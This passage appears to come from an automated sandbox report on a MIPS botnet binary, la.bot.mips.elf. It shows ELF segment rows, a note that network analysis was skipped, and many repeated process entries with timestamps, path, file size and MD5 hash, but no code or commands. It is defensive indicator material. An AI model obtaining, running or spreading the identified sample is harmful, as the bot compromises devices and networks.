      LOAD0x185140x4585140x4585140xd900x50b44.48720x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
      GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

      Network Behavior

      ⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

      System Behavior

      General

      Start time (UTC):06:33:00
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:/tmp/la.bot.mips.elf
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:33:00
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:33:00
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:33:00
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:33:00
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:33:17
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:33:17
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:34:06
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:34:06
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:34:53
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:34:53
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:35:41
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:35:41
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:36:30
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities


      General

      Start time (UTC):06:36:30
      Start date (UTC):27/10/2024
      Path:/tmp/la.bot.mips.elf
      Arguments:-
      File size:5777432 bytes
      MD5 hash:0083f1f0e77be34ad27f849842bbb00c

      Chronological Activities